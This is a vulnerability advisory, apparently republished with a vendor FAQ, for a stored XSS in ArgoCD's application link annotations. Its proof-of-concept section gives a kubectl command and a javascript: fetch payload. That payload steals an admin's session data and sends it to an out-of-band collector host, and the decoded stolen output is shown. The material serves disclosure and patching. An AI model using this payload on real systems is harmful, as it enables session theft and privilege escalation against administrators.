CVE-2026-45738

A user with application write access (developer role) can set link.argocd.argoproj.io/* annotations on any ArgoCD Application. These annotation values are rendered in the Summary tab's URLs section as <a href> elements without URL validation. Using the pipe-separator trick (Display Text | javascript:...), an attacker can inject a javascript: URI while displaying a legitimate-looking label (e.g. GitHub Repo). When a higher-privileged user (admin) clicks the link, arbitrary JavaScript executes in the ArgoCD origin context in the admin's authenticated session context, enabling API exfiltration and privilege escalation from developer to admin.

Details

Vulnerable sink: ui/src/app/applications/components/application-summary/application-summary.tsx:277

const parts = (url || '').split('|');
<a key={i} href={parts.length > 1 ? parts[1] : parts[0]} target='_blank'>
    {parts[0]}
</a>

The annotation value is split on |. parts[0] becomes the visible link label; parts[1] becomes the href. No call to isValidURL() is made, unlike the protected ApplicationURLs component (application-urls.tsx:72,80) which does validate URLs and blocks javascript:. The target='_blank' opens a new tab that inherits the ArgoCD origin, giving the injected script same-origin fetch access to all ArgoCD APIs using the victim's authenticated session (credentialed fetch() calls).

Root cause: React 16.x does not block javascript: URIs in href attributes (this protection was added in React 19). The helper isValidURL() exists in shared/utils.ts but is not applied to this sink.

CSP: ArgoCD's default Content Security Policy is frame-ancestors 'self' only, no script-src, no connect-src, no default-src, providing zero XSS execution mitigation.

PoC

Prerequisites: Developer role with application write access (e.g. RBAC: p, role:developer, applications, *, */*, allow).

Step 1, Set malicious annotation as developer:

kubectl annotate application <app-name> -n argocd \
  'link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch("https://<argocd-host>/api/v1/session/userinfo",{credentials:"include"}).then(r=>r.json()).then(d=>fetch("https://xxx.oastify.com/?d="+btoa(JSON.stringify(d)),{mode:"no-cors"}))'

The URL section in the admin's Summary tab renders the link as "GitHub Repo", the javascript: payload is invisible in the displayed text.

Step 2, Admin opens Summary tab of the annotated application and clicks the link.

Step 3, JavaScript executes at the ArgoCD origin and exfiltrates admin session data via out-of-band HTTP request. Tested with Burp Collaborator:

// Payload used during testing (Burp Collaborator OOB):
fetch("https://<argocd-host>/api/v1/session/userinfo", {credentials:"include"})
  .then(r => r.json())
  .then(d => fetch("https://xxx.oastify.com/?d=" + btoa(JSON.stringify(d)), {mode:"no-cors"}))

Step 4, Burp Collaborator received the OOB HTTP interaction containing the base64-encoded admin session data. Decoded response:

{"iss":"argocd","loggedIn":true,"username":"admin"}

Tested on: ArgoCD v3.3.8 (commit 0850e97), React 16.9.3.

Credits

Discovered and reported by Jan Kahmen ([email protected]), turingpoint.de

• Stored XSS, payload persists in the Kubernetes Application resource until manually removed
• Privilege escalation, developer role → admin session hijacking via authenticated API calls
• Maximum stealth, the injected link displays as any attacker-chosen text; the javascript: href is never visible to the victim
• No server-side interaction required, purely client-side exploit, no network egress needed for execution (exfiltration uses no-cors fetch, bypassed by absent connect-src CSP)
• Any admin or operator who views the Summary tab of the compromised application is affected

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2026-45738 has a CVSS score of 7.3 (High). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.2.12, 3.3.10, 3.4.2); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-45738? CVE-2026-45738 is a high-severity cross-site scripting (XSS) vulnerability in github.com/argoproj/argo-cd/v3 (go), affecting versions < 3.2.12. It is fixed in 3.2.12, 3.3.10, 3.4.2. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2026-45738? CVE-2026-45738 has a CVSS score of 7.3 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2026-45738?
   • github.com/argoproj/argo-cd/v3 (go) (versions < 3.2.12)
   • github.com/argoproj/argo-cd/v2 (go) (versions <= 2.14.21)
   • github.com/argoproj/argo-cd (go) (versions <= 1.8.7)
4. Is there a fix for CVE-2026-45738? Yes. CVE-2026-45738 is fixed in 3.2.12, 3.3.10, 3.4.2. Upgrade to this version or later.
5. Is CVE-2026-45738 exploitable, and should I be worried? Whether CVE-2026-45738 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-45738 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-45738?
   • Upgrade github.com/argoproj/argo-cd/v3 to 3.2.12 or later
   • Upgrade github.com/argoproj/argo-cd/v3 to 3.3.10 or later
   • Upgrade github.com/argoproj/argo-cd/v3 to 3.4.2 or later